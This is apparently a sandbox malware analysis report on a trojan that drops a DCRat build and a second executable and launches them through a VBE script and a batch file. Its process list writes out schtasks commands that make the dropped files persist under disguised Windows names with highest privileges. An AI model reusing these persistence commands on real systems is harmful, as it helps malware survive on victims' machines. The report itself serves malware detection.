Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: version.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: wldp.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: profapi.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: version.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: wldp.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: profapi.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Section loaded: sspicli.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: mscoree.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: version.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: wldp.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: profapi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ktmw32.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: amsi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: userenv.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: rasapi32.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: rasman.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: rtutils.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: winmm.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: winmmbase.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: devobj.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ksuser.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: avrt.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: audioses.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: powrprof.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: umpdc.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: msacm32.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: midimap.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: dwrite.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: edputil.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: tcl86t.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: tk86t.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Section loaded: textshaping.dll

Source: 1tQ7HC6GOS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/1323@0/1

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54A8560 GetLastError,FormatMessageW,WideCharToMultiByte,

1_2_00007FF7E54A8560

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 2_2_0088A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

2_2_0088A6C2

Source: C:\MsComponentSvc\hyperServer.exe

File created: C:\Program Files\Windows Defender\Offline\cmd.exe

Jump to behavior

Source: C:\MsComponentSvc\hyperServer.exe

File created: C:\Users\user\Desktop\oGfIXkQJ.log

Jump to behavior

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\74a13c9dc0b37fd16b6a715a47bab86665f9f49ee1d8029d5016069ee9d68500
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3120:120:WilError_03

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe

File created: C:\Users\user\AppData\Local\Temp\5GG.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" "

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxname	2_2_0088DF1E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxstime	2_2_0088DF1E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: STARTDLG	2_2_0088DF1E

Source: 1tQ7HC6GOS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0tOtDmpwHS.36.dr, uVPslofdTg.36.dr, aO1czRQEWU.36.dr, f0A3nDIy8U.36.dr, 4MXmDO4iTj.36.dr, 65ZMjyxGXN.36.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 1tQ7HC6GOS.exe

ReversingLabs: Detection: 68%

Source: 5GG.exe	String found in binary or memory: -help
Source: 5GG.exe	String found in binary or memory: -startline must be less than or equal to -endline

Source: unknown	Process created: C:\Users\user\Desktop\1tQ7HC6GOS.exe "C:\Users\user\Desktop\1tQ7HC6GOS.exe"
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\MsComponentSvc\hyperServer.exe "C:\MsComponentSvc/hyperServer.exe"
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 9 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 12 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
